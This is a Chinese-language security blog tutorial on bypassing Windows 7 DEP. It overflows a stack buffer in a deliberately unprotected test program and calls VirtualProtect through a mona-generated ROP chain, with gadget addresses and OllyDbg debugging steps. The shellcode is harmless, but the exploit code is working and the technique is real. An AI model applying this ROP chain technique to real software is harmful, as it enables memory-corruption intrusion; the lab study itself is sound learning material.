首页 > 安全 > 网络安全 >

互联网安全研究:Windows Shellcode学习笔记

2017-04-14

互联网安全研究:Windows Shellcode学习笔记。

互联网安全研究:Windows Shellcode学习笔记。

0x00 前言

在掌握了栈溢出的基本原理和利用方法后,接下来就要研究如何绕过Windows系统对栈溢出利用的重重防护,所以测试环境也从xp转到了Win7(相比xp,Win7的防护更全面)。本文将要介绍经典的DEP绕过方法——通过VirtualProtect绕过DEP

0x01 简介

本文将要介绍以下内容:

VS2012的编译配置 利用Immunity Debugger的mona插件自动获取ROP链 对ROP链的分析调试 调用VirtualProtect函数时的Bug及修复0x02 相关概念DEP:

溢出攻击的根源在于计算机对数据和代码没有明确区分,如果将代码放置于数据段,那么系统就会去执行

为了弥补这一缺陷,微软从XP SP2开始支持数据执行保护(Data Exection Prevention)

DEP保护原理:

数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,而有了DEP,此时CPU会抛出异常,而不是去执行指令

DEP四种工作状态: Optin Optout AlwaysOn AlwaysOffDEP绕过原理:

如果函数返回地址并不直接指向数据段,而是指向一个已存在的系统函数的入口地址,由于系统函数所在的页面权限是可执行的,这样就不会触发DEP

也就是说,可以在代码区找到替代指令实现shellcode的功能

但是可供利用的替代指令往往有限,无法完整的实现shellcode的功能

于是产生了一个折中方法:通过替代指令关闭DEP,再转入执行shellcode

内存页:

x86系统一个内存页的大小为4kb,即0x00001000,4096

ROP:

面向返回的编程(Return-oriented Programming)

VirtualProtect:

BOOL VirtualProtect{ LPVOID lpAddress, DWORD dwsize, DWORD flNewProtect, PDWORD lpflOldProtect }

lpAddress:内存起始地址 dwsize:内存区域大小 flNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40) lpflOldProtect:内存原始属性保存地址

通过VirtualProtect绕过DEP:

在内存中查找替代指令,填入合适的参数,调用VirtualProtect将shellcode的内存属性设置为可读可写可执行,然后跳到shellcode继续执行

0x03 VS2012的编译配置测试环境: 测试系统: Win 7 x86 编译器: VS2012 build版本: Release项目属性: 关闭GS 关闭优化 关闭SEH 关闭DEP 关闭ASLR 禁用c++异常 禁用内部函数具体配置方法:

配置属性-c/c++-所有属性

安全检查 否(/GS-) 启用c++异常 否 启用内部函数 否 优化 已禁用(/Od)

配置属性-链接器-所有属性

数据执行保护(DEP) 否(/NXCOMPAT:NO) 随机基址 否(/DYNAMICBASE:NO) 映像具有安全异常处理程序 否(/SAFESEH:NO)0x04 实际测试测试1:

测试代码:

char shellcode[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x41\x41\x41\x41\x42\x43\x44\x45";void test(){char buffer[48];memcpy(buffer,shellcode,sizeof(shellcode));}int main(){printf("1\n");test();return 0;}

注:

strcpy在执行时遇到0x00会提前截断,为便于测试shellcode,将strcpy换成memcpy,遇到0x00不会被截断

\

如上图,成功将返回地址覆盖为0x45444342

测试2:

shellcode起始地址为0x00403020

PUSH 1 POP ECX

对应的机器码为 0x0059016A

将返回地址覆盖为shellcode起始地址

shellcode实现如下操作:

PUSH 1POP ECX

其他位用0x90填充

c代码如下:

char shellcode[]="\x6A\x01\x59\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x20\x30\x40\x00";void test(){char buffer[48];memcpy(buffer,shellcode,sizeof(shellcode));}int main(){printf("1\n");test();return 0;}

\

如上图,shellcode成功执行,ECX寄存器赋值为1

测试3:

开启DEP,再次调试,发现shellcode无法执行,如图

\

测试4:

下载安装Immunity Debugger

下载mona插件,下载地址如下:

https://github.com/corelan/mona

将mona.py放于C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands下

启动Immunity Debugger,打开test.exe

使用mona插件自动生成rop链,输入:

!mona rop -m *.dll -cp nonull

如图

\

mona会搜寻所有的DLL,用于构造rop链

执行命令后在C:\Program Files\Immunity Inc\Immunity Debugger下生成文件rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt

查看rop_chains.txt,会列出可用来关闭DEP的ROP链,选择VirtualProtect()函数

\

如上图,成功构建ROP链

注:

不同环境有可能无法获得完整参数,需要具体环境具体分析

对应的测试poc修改如下:

unsigned int shellcode[]={ 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x77217edd, // POP EAX // RETN [kernel32.dll] 0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll] 0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x779cdd30, // POP EBP // RETN [ntdll.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0xfffffdff, // Value to negate, will become 0x00000201 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x6935a7c0, // POP ECX // RETN [MSVCR110.dll] 0x693be00d, // &Writable location [MSVCR110.dll] 0x779a4b9a, // POP EDI // RETN [ntdll.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693417cb, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX // NOP 0x90909090, 0x90909090, 0x90909090, 0x90909090};void test(){char buffer[48];printf("3\n");memcpy(buffer,shellcode,sizeof(shellcode));}int main(){printf("1\n");test();return 0;}

其中0x9059016A为 PUSH 1;POP ECX;NOP; 的机器码,如果绕过DEP,该指令将会成功执行

编译后在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX,查看堆栈

可获得传入的函数参数

\

如上图,不巧的是shellcode覆盖了SEH链

这样会导致传入VirtualProtectEX函数的参数不正确,调用失败,猜测调用VirtualProtectEX函数的返回值为0

\

如上图,验证上面的判断,EAX寄存器表示返回值,返回值为0,修改内存属性失败

解决思路:

我们需要扩大栈空间,将SEH链下移,确保shellcode不会覆盖到SEH链

解决方法:

修改源代码,通过申请空间的方式下移SEH链

测试5:

关键代码如下:

int main(){printf("1\n");test();char Buf[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";return 0;}

编译程序,再次放在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX,查看堆栈

如图

\

SEH链成功“下移”,位于高地址,未被shellcode覆盖

此时传入VirtualProtectEX函数的参数正确

按F8单步执行,查看结果

\

如上图,返回值为0,修改内存属性仍失败

LastErr显示错误为ERRPR_INVALID_ADDRESS(000001E7),表示地址错误

测试6:

查看正常调用函数VirtualProtect()时的堆栈,对比测试5,分析失败原因

正常调用的实现代码如下:

int main(){void *p=malloc(16);printf("0x%08x\n",p);DWORD pflOldProtect;int x=VirtualProtect(p,4,0x40,&pflOldProtect);printf("%d\n",x);return 0;}

测试7:

如果将起始地址修改为一个不能访问的地址,如0x40303020

编译程序,放在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX,查看堆栈

格式如图

\

按F8单步执行,查看结果

如图,产生同样错误:ERRPR_INVALID_ADDRESS(000001E7)

\

猜测,shellcode传入的起始地址有问题

继续我们的测试

测试8

接着测试5,单步跟踪到CALL KERNELBA.VirtualProtectEX,尝试修改堆栈中的数据

将内存地址0x0012FF2c修改为当前内存页的起始地址,即0x0012F000

如图

\

按F8单步执行,查看结果

如下图,寄存器EAX的值为1,即返回值为1,成功修改内存属性

\

接着向下执行,在CALL ESP的位置按下F7,单步步入

\

如上图,发现PUSH 1;POP ECX成功执行,测试成功,成功通过VirtualProtect绕过DEP,执行数据段的shellcode

注:

这种情况下,VirtualProtectEX一次最大只能修改4096长度的内存(即一个内存页的长度),且不能跨页修改,如果越界,返回值为0,修改失败

通过C调用函数VirtualProtect不存在上述问题,可跨页,长度大于4096

0x05 小结

为了在Win7下搭建测试环境,对VS2012的编译配置需要特别注意,多重保护在提高程序安全性的同时也给环境搭建带来了麻烦

不同系统下可供使用的替代指令往往不同,需要不断变换思路,构造合适的ROP链

另外,Immunity Debugger的mona插件可为ROP链的编写提供便利,但要注意存在bug的情况,需要更多的测试和优化

如果shellcode长度大于4096,使用VirtualProtect关闭DEP会失败,需要选择其他方法

LEAVE A REPLY

相关文章
最新文章
热点推荐